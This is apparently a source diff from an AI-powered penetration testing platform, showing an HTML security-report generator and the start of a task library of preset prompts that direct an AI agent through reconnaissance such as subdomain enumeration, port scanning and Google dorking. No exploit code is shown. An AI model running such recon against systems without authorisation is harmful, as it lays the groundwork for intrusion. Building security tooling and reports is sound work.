<div class="number" style="color: {self.SEVERITY_COLORS['medium']}">{severity_counts['medium']}</div>
<div class="label">Medium</div>
</div>
<div class="stat-card">
<div class="number" style="color: {self.SEVERITY_COLORS['low']}">{severity_counts['low']}</div>
<div class="label">Low</div>
</div>
<div class="stat-card">
<div class="number">{total}</div>
<div class="label">Total</div>
</div>
</div>
{f'''<div class="section">
<h2>Executive Summary</h2>
<p class="executive-summary">{self._escape_html(executive_summary)}</p>
</div>''' if executive_summary else ''}
<div class="section">
<h2>Vulnerability Findings</h2>
{vuln_cards if vuln_cards else '<p>No vulnerabilities found.</p>'}
</div>
<div class="footer">
<p>Generated by NeuroSploit v3 - AI-Powered Penetration Testing Platform</p>
</div>
</div>
</body>
</html>"""
return html
def _generate_json(
self,
scan: Scan,
vulnerabilities: List[Vulnerability],
title: str,
executive_summary: str
) -> str:
"""Generate JSON report"""
report = {
"title": title,
"generated_at": datetime.now().isoformat(),
"scan": {
"id": scan.id,
"name": scan.name,
"status": scan.status,
"started_at": scan.started_at.isoformat() if scan.started_at else None,
"completed_at": scan.completed_at.isoformat() if scan.completed_at else None,
"total_endpoints": scan.total_endpoints,
"total_vulnerabilities": scan.total_vulnerabilities
},
"summary": {
"executive_summary": executive_summary,
"severity_counts": {
"critical": scan.critical_count,
"high": scan.high_count,
"medium": scan.medium_count,
"low": scan.low_count,
"info": scan.info_count
}
},
"vulnerabilities": [v.to_dict() for v in vulnerabilities]
}
return json.dumps(report, indent=2, default=str)
def _escape_html(self, text: str) -> str:
"""Escape HTML special characters"""
if not text:
return ""
return (text
.replace("&", "&amp;")
.replace("<", "&lt;")
.replace(">", "&gt;")
.replace('"', "&quot;")
.replace("'", "&#39;"))
+994
View File
@@ -0,0 +1,994 @@
"""
NeuroSploit v3 - Professional HTML Report Generator
Generates beautiful, comprehensive security assessment reports
"""
import json
from datetime import datetime
from typing import Dict, List, Any, Optional
from dataclasses import dataclass
import html
import base64
@dataclass
class ReportConfig:
"""Report generation configuration"""
company_name: str = "NeuroSploit Security"
logo_base64: Optional[str] = None
include_executive_summary: bool = True
include_methodology: bool = True
include_recommendations: bool = True
theme: str = "dark" # "dark" or "light"
class HTMLReportGenerator:
"""Generate professional HTML security reports"""
SEVERITY_COLORS = {
"critical": {"bg": "#dc2626", "text": "#ffffff", "border": "#991b1b"},
"high": {"bg": "#ea580c", "text": "#ffffff", "border": "#c2410c"},
"medium": {"bg": "#ca8a04", "text": "#ffffff", "border": "#a16207"},
"low": {"bg": "#2563eb", "text": "#ffffff", "border": "#1d4ed8"},
"info": {"bg": "#6b7280", "text": "#ffffff", "border": "#4b5563"}
}
SEVERITY_ORDER = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4}
def __init__(self, config: Optional[ReportConfig] = None):
self.config = config or ReportConfig()
def generate_report(
self,
session_data: Dict,
findings: List[Dict],
scan_results: Optional[List[Dict]] = None
) -> str:
"""Generate complete HTML report"""
# Sort findings by severity
sorted_findings = sorted(
findings,
key=lambda x: self.SEVERITY_ORDER.get(x.get('severity', 'info'), 4)
)
# Calculate statistics
stats = self._calculate_stats(sorted_findings)
# Generate report sections
html_content = f"""<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Security Assessment Report - {html.escape(session_data.get('name', 'Unknown'))}</title>
{self._get_styles()}
</head>
<body>
<div class="report-container">
{self._generate_header(session_data)}
{self._generate_executive_summary(session_data, stats, sorted_findings)}
{self._generate_scope_section(session_data)}
{self._generate_findings_summary(stats)}
{self._generate_findings_detail(sorted_findings)}
{self._generate_scan_results(scan_results) if scan_results else ''}
{self._generate_recommendations(sorted_findings)}
{self._generate_methodology()}
{self._generate_footer(session_data)}
</div>
{self._get_scripts()}
</body>
</html>"""
return html_content
def _get_styles(self) -> str:
"""Get CSS styles for the report"""
is_dark = self.config.theme == "dark"
bg_color = "#0f172a" if is_dark else "#ffffff"
card_bg = "#1e293b" if is_dark else "#f8fafc"
text_color = "#e2e8f0" if is_dark else "#1e293b"
text_muted = "#94a3b8" if is_dark else "#64748b"
border_color = "#334155" if is_dark else "#e2e8f0"
accent = "#3b82f6"
return f"""
<style>
@import url('https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap');
* {{
margin: 0;
padding: 0;
box-sizing: border-box;
}}
body {{
font-family: 'Inter', -apple-system, BlinkMacSystemFont, sans-serif;
background: {bg_color};
color: {text_color};
line-height: 1.6;
font-size: 14px;
}}
.report-container {{
max-width: 1200px;
margin: 0 auto;
padding: 40px 20px;
}}
/* Header */
.report-header {{
text-align: center;
padding: 60px 40px;
background: linear-gradient(135deg, #1e40af 0%, #7c3aed 100%);
border-radius: 16px;
margin-bottom: 40px;
position: relative;
overflow: hidden;
}}
.report-header::before {{
content: '';
position: absolute;
top: 0;
left: 0;
right: 0;
bottom: 0;
background: url("data:image/svg+xml,%3Csvg width='60' height='60' viewBox='0 0 60 60' xmlns='http://www.w3.org/2000/svg'%3E%3Cg fill='none' fill-rule='evenodd'%3E%3Cg fill='%23ffffff' fill-opacity='0.05'%3E%3Cpath d='M36 34v-4h-2v4h-4v2h4v4h2v-4h4v-2h-4zm0-30V0h-2v4h-4v2h4v4h2V6h4V4h-4zM6 34v-4H4v4H0v2h4v4h2v-4h4v-2H6zM6 4V0H4v4H0v2h4v4h2V6h4V4H6z'/%3E%3C/g%3E%3C/g%3E%3C/svg%3E");
opacity: 0.5;
}}
.report-header h1 {{
font-size: 2.5rem;
font-weight: 700;
color: white;
margin-bottom: 8px;
position: relative;
}}
.report-header .subtitle {{
font-size: 1.1rem;
color: rgba(255,255,255,0.9);
position: relative;
}}
.report-header .meta {{
margin-top: 24px;
display: flex;
justify-content: center;
gap: 40px;
color: rgba(255,255,255,0.8);
font-size: 0.9rem;
position: relative;
}}
.report-header .meta-item {{
display: flex;
align-items: center;
gap: 8px;
}}
/* Cards */
.card {{
background: {card_bg};
border: 1px solid {border_color};
border-radius: 12px;
padding: 24px;
margin-bottom: 24px;
}}
.card-header {{
display: flex;
align-items: center;
gap: 12px;
margin-bottom: 20px;
padding-bottom: 16px;
border-bottom: 1px solid {border_color};
}}
.card-header h2 {{
font-size: 1.25rem;
font-weight: 600;
color: {text_color};
}}
.card-header .icon {{
width: 32px;
height: 32px;
border-radius: 8px;
display: flex;
align-items: center;
justify-content: center;
background: {accent};
color: white;
}}
/* Stats Grid */
.stats-grid {{
display: grid;
grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
gap: 16px;
margin-bottom: 32px;
}}
.stat-card {{
padding: 20px;
border-radius: 12px;
text-align: center;
transition: transform 0.2s;
}}
.stat-card:hover {{
transform: translateY(-2px);
}}
.stat-card .number {{
font-size: 2.5rem;
font-weight: 700;
line-height: 1;
}}
.stat-card .label {{
font-size: 0.875rem;
margin-top: 8px;
text-transform: uppercase;
letter-spacing: 0.05em;
}}
.stat-critical {{ background: linear-gradient(135deg, #dc2626, #991b1b); color: white; }}
.stat-high {{ background: linear-gradient(135deg, #ea580c, #c2410c); color: white; }}
.stat-medium {{ background: linear-gradient(135deg, #ca8a04, #a16207); color: white; }}
.stat-low {{ background: linear-gradient(135deg, #2563eb, #1d4ed8); color: white; }}
.stat-info {{ background: linear-gradient(135deg, #6b7280, #4b5563); color: white; }}
.stat-total {{ background: linear-gradient(135deg, #7c3aed, #5b21b6); color: white; }}
/* Findings */
.finding {{
border: 1px solid {border_color};
border-radius: 12px;
margin-bottom: 16px;
overflow: hidden;
transition: box-shadow 0.2s;
}}
.finding:hover {{
box-shadow: 0 4px 20px rgba(0,0,0,0.15);
}}
.finding-header {{
padding: 16px 20px;
display: flex;
align-items: center;
gap: 16px;
cursor: pointer;
background: {card_bg};
}}
.finding-header:hover {{
background: {'#293548' if is_dark else '#f1f5f9'};
}}
.severity-badge {{
padding: 6px 12px;
border-radius: 6px;
font-size: 0.75rem;
font-weight: 600;
text-transform: uppercase;
letter-spacing: 0.05em;
min-width: 80px;
text-align: center;
}}
.finding-title {{
flex: 1;
font-weight: 500;
color: {text_color};
}}
.finding-endpoint {{
font-size: 0.875rem;
color: {text_muted};
max-width: 300px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}}
.finding-content {{
padding: 20px;
background: {'#151f2e' if is_dark else '#ffffff'};
display: none;
}}
.finding-content.active {{
display: block;
}}
.finding-section {{
margin-bottom: 16px;
}}
.finding-section:last-child {{
margin-bottom: 0;
}}
.finding-section h4 {{
font-size: 0.75rem;
text-transform: uppercase;
letter-spacing: 0.1em;
color: {text_muted};
margin-bottom: 8px;
}}
.finding-section p {{
color: {text_color};
}}
.evidence-box {{
background: {'#0f172a' if is_dark else '#f1f5f9'};
border: 1px solid {border_color};
border-radius: 8px;
padding: 12px 16px;
font-family: 'Fira Code', monospace;
font-size: 0.875rem;
overflow-x: auto;
white-space: pre-wrap;
word-break: break-all;
}}
.remediation-box {{
background: rgba(34, 197, 94, 0.1);
border: 1px solid rgba(34, 197, 94, 0.3);
border-radius: 8px;
padding: 12px 16px;
color: #22c55e;
}}
/* Executive Summary */
.exec-summary {{
display: grid;
grid-template-columns: 2fr 1fr;
gap: 24px;
}}
.risk-meter {{
height: 12px;
background: {border_color};
border-radius: 6px;
overflow: hidden;
margin: 16px 0;
}}
.risk-meter-fill {{
height: 100%;
border-radius: 6px;
transition: width 0.5s ease;
}}
.risk-high {{ background: linear-gradient(90deg, #dc2626, #ea580c); }}
.risk-medium {{ background: linear-gradient(90deg, #ea580c, #ca8a04); }}
.risk-low {{ background: linear-gradient(90deg, #ca8a04, #22c55e); }}
/* Table */
table {{
width: 100%;
border-collapse: collapse;
}}
th, td {{
padding: 12px 16px;
text-align: left;
border-bottom: 1px solid {border_color};
}}
th {{
font-weight: 600;
color: {text_muted};
font-size: 0.75rem;
text-transform: uppercase;
letter-spacing: 0.1em;
}}
/* Footer */
.report-footer {{
text-align: center;
padding: 40px;
color: {text_muted};
border-top: 1px solid {border_color};
margin-top: 40px;
}}
.report-footer .logo {{
font-size: 1.5rem;
font-weight: 700;
background: linear-gradient(135deg, #3b82f6, #8b5cf6);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
margin-bottom: 8px;
}}
/* Print styles */
@media print {{
body {{
background: white;
color: black;
}}
.card {{
break-inside: avoid;
}}
.finding {{
break-inside: avoid;
}}
.report-header {{
background: #1e40af !important;
-webkit-print-color-adjust: exact;
print-color-adjust: exact;
}}
}}
/* Responsive */
@media (max-width: 768px) {{
.exec-summary {{
grid-template-columns: 1fr;
}}
.stats-grid {{
grid-template-columns: repeat(2, 1fr);
}}
.report-header .meta {{
flex-direction: column;
gap: 12px;
}}
}}
/* Animations */
@keyframes fadeIn {{
from {{ opacity: 0; transform: translateY(10px); }}
to {{ opacity: 1; transform: translateY(0); }}
}}
.card {{
animation: fadeIn 0.3s ease;
}}
</style>"""
def _get_scripts(self) -> str:
"""Get JavaScript for interactivity"""
return """
<script>
document.querySelectorAll('.finding-header').forEach(header => {
header.addEventListener('click', () => {
const content = header.nextElementSibling;
const isActive = content.classList.contains('active');
// Close all others
document.querySelectorAll('.finding-content').forEach(c => {
c.classList.remove('active');
});
// Toggle current
if (!isActive) {
content.classList.add('active');
}
});
});
// Expand all button functionality
function expandAll() {
document.querySelectorAll('.finding-content').forEach(c => {
c.classList.add('active');
});
}
function collapseAll() {
document.querySelectorAll('.finding-content').forEach(c => {
c.classList.remove('active');
});
}
// Print functionality
function printReport() {
window.print();
}
</script>"""
def _generate_header(self, session_data: Dict) -> str:
"""Generate report header"""
target = session_data.get('target', 'Unknown Target')
name = session_data.get('name', 'Security Assessment')
created = session_data.get('created_at', datetime.utcnow().isoformat())
try:
created_dt = datetime.fromisoformat(created.replace('Z', '+00:00'))
created_str = created_dt.strftime('%B %d, %Y')
except:
created_str = created
return f"""
<header class="report-header">
<h1>🛡️ Security Assessment Report</h1>
<p class="subtitle">{html.escape(name)}</p>
<div class="meta">
<div class="meta-item">
<span>🎯</span>
<span>{html.escape(target)}</span>
</div>
<div class="meta-item">
<span>📅</span>
<span>{created_str}</span>
</div>
<div class="meta-item">
<span>🔬</span>
<span>NeuroSploit AI Scanner</span>
</div>
</div>
</header>"""
def _calculate_stats(self, findings: List[Dict]) -> Dict:
"""Calculate finding statistics"""
stats = {
"total": len(findings),
"critical": 0,
"high": 0,
"medium": 0,
"low": 0,
"info": 0
}
for finding in findings:
severity = finding.get('severity', 'info').lower()
if severity in stats:
stats[severity] += 1
# Calculate risk score (0-100)
risk_score = (
stats['critical'] * 25 +
stats['high'] * 15 +
stats['medium'] * 8 +
stats['low'] * 3 +
stats['info'] * 1
)
stats['risk_score'] = min(100, risk_score)
# Risk level
if stats['risk_score'] >= 70 or stats['critical'] > 0:
stats['risk_level'] = 'HIGH'
stats['risk_class'] = 'risk-high'
elif stats['risk_score'] >= 40 or stats['high'] > 1:
stats['risk_level'] = 'MEDIUM'
stats['risk_class'] = 'risk-medium'
else:
stats['risk_level'] = 'LOW'
stats['risk_class'] = 'risk-low'
return stats
def _generate_executive_summary(self, session_data: Dict, stats: Dict, findings: List[Dict]) -> str:
"""Generate executive summary section"""
target = session_data.get('target', 'the target')
# Generate summary text based on findings
if stats['critical'] > 0:
summary = f"The security assessment of {html.escape(target)} revealed <strong>{stats['critical']} critical</strong> vulnerabilities that require immediate attention. These findings pose significant risk to the application's security posture and could lead to severe data breaches or system compromise."
elif stats['high'] > 0:
summary = f"The security assessment identified <strong>{stats['high']} high-severity</strong> issues that should be addressed promptly. While no critical vulnerabilities were found, the identified issues could be exploited by attackers to gain unauthorized access or compromise sensitive data."
elif stats['medium'] > 0:
summary = f"The assessment found <strong>{stats['medium']} medium-severity</strong> findings that represent moderate risk. These issues should be included in the remediation roadmap and addressed according to priority."
else:
summary = f"The security assessment completed with <strong>{stats['total']} findings</strong>, primarily informational in nature. The overall security posture appears reasonable, though continuous monitoring is recommended."
return f"""
<section class="card">
<div class="card-header">
<div class="icon">📊</div>
<h2>Executive Summary</h2>
</div>
<div class="exec-summary">
<div>
<p style="margin-bottom: 16px;">{summary}</p>
<div class="risk-meter">
<div class="risk-meter-fill {stats['risk_class']}" style="width: {stats['risk_score']}%"></div>
</div>
<p style="font-size: 0.875rem; color: var(--text-muted);">
Overall Risk Score: <strong>{stats['risk_score']}/100</strong> ({stats['risk_level']})
</p>
</div>
<div style="text-align: center; padding: 20px; background: rgba(59, 130, 246, 0.1); border-radius: 12px;">
<div style="font-size: 3rem; font-weight: 700; color: #3b82f6;">{stats['total']}</div>
<div style="text-transform: uppercase; letter-spacing: 0.1em; font-size: 0.75rem; color: #94a3b8;">Total Findings</div>
</div>
</div>
</section>"""
def _generate_scope_section(self, session_data: Dict) -> str:
"""Generate scope section"""
target = session_data.get('target', 'Unknown')
recon = session_data.get('recon_data', {})
technologies = recon.get('technologies', [])
endpoints = recon.get('endpoints', [])
tech_html = ""
if technologies:
tech_html = f"""
<div style="margin-top: 16px;">
<h4 style="font-size: 0.75rem; text-transform: uppercase; letter-spacing: 0.1em; color: #94a3b8; margin-bottom: 8px;">Detected Technologies</h4>
<div style="display: flex; flex-wrap: wrap; gap: 8px;">
{"".join(f'<span style="background: rgba(59,130,246,0.2); color: #60a5fa; padding: 4px 12px; border-radius: 20px; font-size: 0.875rem;">{html.escape(t)}</span>' for t in technologies[:15])}
</div>
</div>"""
return f"""
<section class="card">
<div class="card-header">
<div class="icon">🎯</div>
<h2>Assessment Scope</h2>
</div>
<table>
<tr>
<td style="width: 150px; font-weight: 500;">Target URL</td>
<td><a href="{html.escape(target)}" style="color: #3b82f6;">{html.escape(target)}</a></td>
</tr>
<tr>
<td style="font-weight: 500;">Endpoints Tested</td>
<td>{len(endpoints)}</td>
</tr>
<tr>
<td style="font-weight: 500;">Assessment Type</td>
<td>Automated Security Scan + AI Analysis</td>
</tr>
</table>
{tech_html}
</section>"""
def _generate_findings_summary(self, stats: Dict) -> str:
"""Generate findings summary with stats cards"""
return f"""
<section class="card">
<div class="card-header">
<div class="icon">📈</div>
<h2>Findings Overview</h2>
</div>
<div class="stats-grid">
<div class="stat-card stat-critical">
<div class="number">{stats['critical']}</div>
<div class="label">Critical</div>
</div>
<div class="stat-card stat-high">
<div class="number">{stats['high']}</div>
<div class="label">High</div>
</div>
<div class="stat-card stat-medium">
<div class="number">{stats['medium']}</div>
<div class="label">Medium</div>
</div>
<div class="stat-card stat-low">
<div class="number">{stats['low']}</div>
<div class="label">Low</div>
</div>
<div class="stat-card stat-info">
<div class="number">{stats['info']}</div>
<div class="label">Info</div>
</div>
<div class="stat-card stat-total">
<div class="number">{stats['total']}</div>
<div class="label">Total</div>
</div>
</div>
</section>"""
def _generate_findings_detail(self, findings: List[Dict]) -> str:
"""Generate detailed findings section with CVSS, CWE, and OWASP data"""
if not findings:
return """
<section class="card">
<div class="card-header">
<div class="icon">🔍</div>
<h2>Detailed Findings</h2>
</div>
<p style="text-align: center; padding: 40px; color: #94a3b8;">
No vulnerabilities were identified during this assessment.
</p>
</section>"""
findings_html = ""
for i, finding in enumerate(findings):
severity = finding.get('severity', 'info').lower()
colors = self.SEVERITY_COLORS.get(severity, self.SEVERITY_COLORS['info'])
# Get CVSS, CWE, and OWASP data
cvss_score = finding.get('cvss_score', self._get_default_cvss(severity))
cvss_vector = finding.get('cvss_vector', '')
cwe_id = finding.get('cwe_id', '')
owasp = finding.get('owasp', '')
# Generate technical info section
tech_info_html = ""
if cvss_score or cwe_id or owasp:
tech_items = []
if cvss_score:
cvss_color = self._get_cvss_color(cvss_score)
tech_items.append(f'''
<div style="flex: 1; min-width: 150px;">
<div style="font-size: 0.7rem; text-transform: uppercase; letter-spacing: 0.05em; color: #94a3b8; margin-bottom: 4px;">CVSS Score</div>
<div style="display: flex; align-items: center; gap: 8px;">
<span style="font-size: 1.5rem; font-weight: 700; color: {cvss_color};">{cvss_score}</span>
<span style="font-size: 0.75rem; color: #94a3b8;">{self._get_cvss_rating(cvss_score)}</span>
</div>
{f'<div style="font-size: 0.7rem; color: #64748b; margin-top: 2px; font-family: monospace;">{html.escape(cvss_vector)}</div>' if cvss_vector else ''}
</div>''')
if cwe_id:
cwe_link = f"https://cwe.mitre.org/data/definitions/{cwe_id.replace('CWE-', '')}.html" if cwe_id.startswith('CWE-') else '#'
tech_items.append(f'''
<div style="flex: 1; min-width: 150px;">
<div style="font-size: 0.7rem; text-transform: uppercase; letter-spacing: 0.05em; color: #94a3b8; margin-bottom: 4px;">CWE Reference</div>
<a href="{cwe_link}" target="_blank" style="color: #60a5fa; text-decoration: none; font-weight: 500;">
{html.escape(cwe_id)}
</a>
</div>''')
if owasp:
tech_items.append(f'''
<div style="flex: 1; min-width: 150px;">
<div style="font-size: 0.7rem; text-transform: uppercase; letter-spacing: 0.05em; color: #94a3b8; margin-bottom: 4px;">OWASP Top 10</div>
<span style="color: #fbbf24; font-weight: 500;">{html.escape(owasp)}</span>
</div>''')
tech_info_html = f'''
<div style="display: flex; flex-wrap: wrap; gap: 24px; padding: 16px; background: rgba(59, 130, 246, 0.05); border: 1px solid rgba(59, 130, 246, 0.1); border-radius: 8px; margin-bottom: 16px;">
{''.join(tech_items)}
</div>'''
findings_html += f"""
<div class="finding">
<div class="finding-header">
<span class="severity-badge" style="background: {colors['bg']}; color: {colors['text']};">
{severity.upper()}
</span>
<span class="finding-title">{html.escape(finding.get('title', 'Unknown'))}</span>
<span class="finding-endpoint">{html.escape(finding.get('affected_endpoint', ''))}</span>
<span style="color: #94a3b8;">▼</span>
</div>
<div class="finding-content">
{tech_info_html}
<div class="finding-section">
<h4>Vulnerability Type</h4>
<p>{html.escape(finding.get('vulnerability_type', 'Unknown'))}</p>
</div>
<div class="finding-section">
<h4>Description</h4>
<p>{html.escape(finding.get('description', 'No description available'))}</p>
</div>
{f'''<div class="finding-section">
<h4>Affected Endpoint</h4>
<div class="evidence-box">{html.escape(finding.get('affected_endpoint', ''))}</div>
</div>''' if finding.get('affected_endpoint') else ''}
{f'''<div class="finding-section">
<h4>Evidence / Proof of Concept</h4>
<div class="evidence-box">{html.escape(finding.get('evidence', ''))}</div>
</div>''' if finding.get('evidence') else ''}
{f'''<div class="finding-section">
<h4>Impact</h4>
<p>{html.escape(finding.get('impact', ''))}</p>
</div>''' if finding.get('impact') else ''}
<div class="finding-section">
<h4>Remediation</h4>
<div class="remediation-box">{html.escape(finding.get('remediation', 'Review and address this finding'))}</div>
</div>
{self._generate_references_html(finding.get('references', []))}
</div>
</div>"""
return f"""
<section class="card">
<div class="card-header">
<div class="icon">🔍</div>
<h2>Detailed Findings</h2>
<div style="margin-left: auto; display: flex; gap: 8px;">
<button onclick="expandAll()" style="padding: 6px 12px; border-radius: 6px; border: 1px solid #334155; background: transparent; color: #94a3b8; cursor: pointer; font-size: 0.75rem;">Expand All</button>
<button onclick="collapseAll()" style="padding: 6px 12px; border-radius: 6px; border: 1px solid #334155; background: transparent; color: #94a3b8; cursor: pointer; font-size: 0.75rem;">Collapse All</button>
</div>
</div>
{findings_html}
</section>"""
def _get_default_cvss(self, severity: str) -> float:
"""Get default CVSS score based on severity"""
defaults = {
'critical': 9.5,
'high': 7.5,
'medium': 5.0,
'low': 3.0,
'info': 0.0
}
return defaults.get(severity.lower(), 5.0)
def _get_cvss_color(self, score: float) -> str:
"""Get color based on CVSS score"""
if score >= 9.0:
return '#dc2626' # Critical - Red
elif score >= 7.0:
return '#ea580c' # High - Orange
elif score >= 4.0:
return '#ca8a04' # Medium - Yellow
elif score > 0:
return '#2563eb' # Low - Blue
else:
return '#6b7280' # Info - Gray
def _get_cvss_rating(self, score: float) -> str:
"""Get CVSS rating text"""
if score >= 9.0:
return 'Critical'
elif score >= 7.0:
return 'High'
elif score >= 4.0:
return 'Medium'
elif score > 0:
return 'Low'
else:
return 'None'
def _generate_references_html(self, references: List[str]) -> str:
"""Generate references section HTML"""
if not references:
return ''
refs_html = ''
for ref in references[:5]: # Limit to 5 references
if ref.startswith('http'):
refs_html += f'<li><a href="{html.escape(ref)}" target="_blank" style="color: #60a5fa; text-decoration: none;">{html.escape(ref[:60])}{"..." if len(ref) > 60 else ""}</a></li>'
else:
refs_html += f'<li>{html.escape(ref)}</li>'
return f'''
<div class="finding-section">
<h4>References</h4>
<ul style="margin-left: 16px; color: #94a3b8; font-size: 0.875rem;">
{refs_html}
</ul>
</div>'''
def _generate_scan_results(self, scan_results: List[Dict]) -> str:
"""Generate tool scan results section"""
if not scan_results:
return ""
results_html = ""
for result in scan_results:
tool = result.get('tool', 'Unknown')
status = result.get('status', 'unknown')
output = result.get('output', '')[:2000] # Limit output size
status_color = "#22c55e" if status == "completed" else "#ef4444"
results_html += f"""
<div style="margin-bottom: 16px;">
<div style="display: flex; align-items: center; gap: 12px; margin-bottom: 8px;">
<strong>{html.escape(tool)}</strong>
<span style="color: {status_color}; font-size: 0.75rem; text-transform: uppercase;">{status}</span>
</div>
<div class="evidence-box" style="max-height: 200px; overflow-y: auto;">
{html.escape(output)}
</div>
</div>"""
return f"""
<section class="card">
<div class="card-header">
<div class="icon">🔧</div>
<h2>Tool Scan Results</h2>
</div>
{results_html}
</section>"""
def _generate_recommendations(self, findings: List[Dict]) -> str:
"""Generate prioritized recommendations"""
recommendations = []
# Group findings by severity
critical = [f for f in findings if f.get('severity') == 'critical']
high = [f for f in findings if f.get('severity') == 'high']
medium = [f for f in findings if f.get('severity') == 'medium']
if critical:
recommendations.append({
"priority": "Immediate",
"color": "#dc2626",
"items": [f"Fix: {f.get('title', 'Unknown')} - {f.get('remediation', 'Review and fix')}" for f in critical]
})
if high:
recommendations.append({
"priority": "Short-term (1-2 weeks)",
"color": "#ea580c",
"items": [f"Address: {f.get('title', 'Unknown')}" for f in high]
})
if medium:
recommendations.append({
"priority": "Medium-term (1 month)",
"color": "#ca8a04",
"items": [f"Plan fix for: {f.get('title', 'Unknown')}" for f in medium[:5]]
})
# Always add general recommendations
recommendations.append({
"priority": "Ongoing",
"color": "#3b82f6",
"items": [
"Implement regular security scanning",
"Keep all software and dependencies updated",
"Review and strengthen authentication mechanisms",
"Implement proper logging and monitoring",
"Conduct periodic penetration testing"
]
})
rec_html = ""
for rec in recommendations:
items_html = "".join(f"<li>{html.escape(item)}</li>" for item in rec['items'])
rec_html += f"""
<div style="margin-bottom: 24px;">
<h4 style="color: {rec['color']}; margin-bottom: 12px; display: flex; align-items: center; gap: 8px;">
<span style="width: 8px; height: 8px; background: {rec['color']}; border-radius: 50%;"></span>
{rec['priority']}
</h4>
<ul style="margin-left: 24px; color: #94a3b8;">
{items_html}
</ul>
</div>"""
return f"""
<section class="card">
<div class="card-header">
<div class="icon">✅</div>
<h2>Recommendations</h2>
</div>
{rec_html}
</section>"""
def _generate_methodology(self) -> str:
"""Generate methodology section"""
return """
<section class="card">
<div class="card-header">
<div class="icon">📋</div>
<h2>Methodology</h2>
</div>
<div style="display: grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap: 20px;">
<div>
<h4 style="color: #3b82f6; margin-bottom: 8px;">1. Reconnaissance</h4>
<p style="color: #94a3b8; font-size: 0.875rem;">Technology fingerprinting, endpoint discovery, and information gathering</p>
</div>
<div>
<h4 style="color: #8b5cf6; margin-bottom: 8px;">2. Vulnerability Scanning</h4>
<p style="color: #94a3b8; font-size: 0.875rem;">Automated scanning for known vulnerabilities and misconfigurations</p>
</div>
<div>
<h4 style="color: #ec4899; margin-bottom: 8px;">3. AI Analysis</h4>
<p style="color: #94a3b8; font-size: 0.875rem;">LLM-powered analysis of findings for context and remediation</p>
</div>
<div>
<h4 style="color: #22c55e; margin-bottom: 8px;">4. Verification</h4>
<p style="color: #94a3b8; font-size: 0.875rem;">Manual verification of critical findings to eliminate false positives</p>
</div>
</div>
</section>"""
def _generate_footer(self, session_data: Dict) -> str:
"""Generate report footer"""
return f"""
<footer class="report-footer">
<div class="logo">⚡ NeuroSploit</div>
<p>AI-Powered Security Assessment Platform</p>
<p style="margin-top: 16px; font-size: 0.75rem;">
Report generated on {datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S UTC')}
</p>
<p style="margin-top: 8px; font-size: 0.75rem;">
This report contains confidential security information. Handle with care.
</p>
</footer>"""
+500
View File
@@ -0,0 +1,500 @@
"""
NeuroSploit v3 - Task/Prompt Library System
Manage reusable tasks and prompts for the AI Agent.
- Create, save, edit, delete tasks
- Preset tasks for common scenarios
- Custom task builder
"""
import json
import os
from datetime import datetime
from pathlib import Path
from typing import Dict, List, Optional, Any
from dataclasses import dataclass, asdict
from enum import Enum
class TaskCategory(Enum):
"""Task categories"""
RECON = "recon"
VULNERABILITY = "vulnerability"
EXPLOITATION = "exploitation"
REPORTING = "reporting"
CUSTOM = "custom"
FULL_AUTO = "full_auto"
@dataclass
class Task:
"""A reusable task/prompt"""
id: str
name: str
description: str
category: str
prompt: str
system_prompt: Optional[str] = None
tools_required: List[str] = None
estimated_tokens: int = 0
created_at: str = ""
updated_at: str = ""
author: str = "user"
tags: List[str] = None
is_preset: bool = False
def __post_init__(self):
if not self.created_at:
self.created_at = datetime.utcnow().isoformat()
if not self.updated_at:
self.updated_at = self.created_at
if self.tools_required is None:
self.tools_required = []
if self.tags is None:
self.tags = []
class TaskLibrary:
"""Manage the task/prompt library"""
def __init__(self, library_path: str = "prompts/task_library.json"):
self.library_path = Path(library_path)
self.library_path.parent.mkdir(parents=True, exist_ok=True)
self.tasks: Dict[str, Task] = {}
self._load_library()
self._ensure_presets()
def _load_library(self):
"""Load tasks from library file"""
if self.library_path.exists():
try:
with open(self.library_path, 'r') as f:
data = json.load(f)
for task_data in data.get("tasks", []):
task = Task(**task_data)
self.tasks[task.id] = task
except Exception as e:
print(f"Error loading task library: {e}")
def _save_library(self):
"""Save tasks to library file"""
data = {
"version": "1.0",
"updated_at": datetime.utcnow().isoformat(),
"tasks": [asdict(task) for task in self.tasks.values()]
}
with open(self.library_path, 'w') as f:
json.dump(data, f, indent=2)
def _ensure_presets(self):
"""Ensure preset tasks exist"""
presets = self._get_preset_tasks()
for preset in presets:
if preset.id not in self.tasks:
self.tasks[preset.id] = preset
self._save_library()
def _get_preset_tasks(self) -> List[Task]:
"""Get all preset tasks"""
return [
# === RECON TASKS ===
Task(
id="recon_full",
name="Full Reconnaissance",
description="Complete reconnaissance: subdomains, ports, technologies, endpoints",
category=TaskCategory.RECON.value,
prompt="""Perform comprehensive reconnaissance on the target:
1. **Subdomain Enumeration**: Find all subdomains
2. **Port Scanning**: Identify open ports and services
3. **Technology Detection**: Fingerprint web technologies, frameworks, servers
4. **Endpoint Discovery**: Crawl and find all accessible endpoints
5. **Parameter Discovery**: Find URL parameters and form inputs
6. **JavaScript Analysis**: Extract endpoints from JS files
7. **API Discovery**: Find API endpoints and documentation
Consolidate all findings into a structured report.""",
system_prompt="You are a reconnaissance expert. Gather information systematically and thoroughly.",
tools_required=["subfinder", "httpx", "nmap", "katana", "gau"],
estimated_tokens=2000,
tags=["recon", "discovery", "enumeration"],
is_preset=True
),
Task(
id="recon_passive",
name="Passive Reconnaissance",
description="Non-intrusive reconnaissance using public data only",
category=TaskCategory.RECON.value,
prompt="""Perform PASSIVE reconnaissance only (no direct interaction with target):
1. **OSINT**: Search for public information
2. **DNS Records**: Enumerate DNS records
3. **Historical Data**: Check Wayback Machine, archive.org
4. **Certificate Transparency**: Find subdomains from CT logs
5. **Google Dorking**: Search for exposed files/information
6. **Social Media**: Find related accounts and information
Do NOT send any requests directly to the target.""",
system_prompt="You are an OSINT expert. Only use passive techniques.",
tools_required=["subfinder", "gau", "waybackurls"],
estimated_tokens=1500,
tags=["recon", "passive", "osint"],
is_preset=True
),
# === VULNERABILITY TASKS ===
Task(
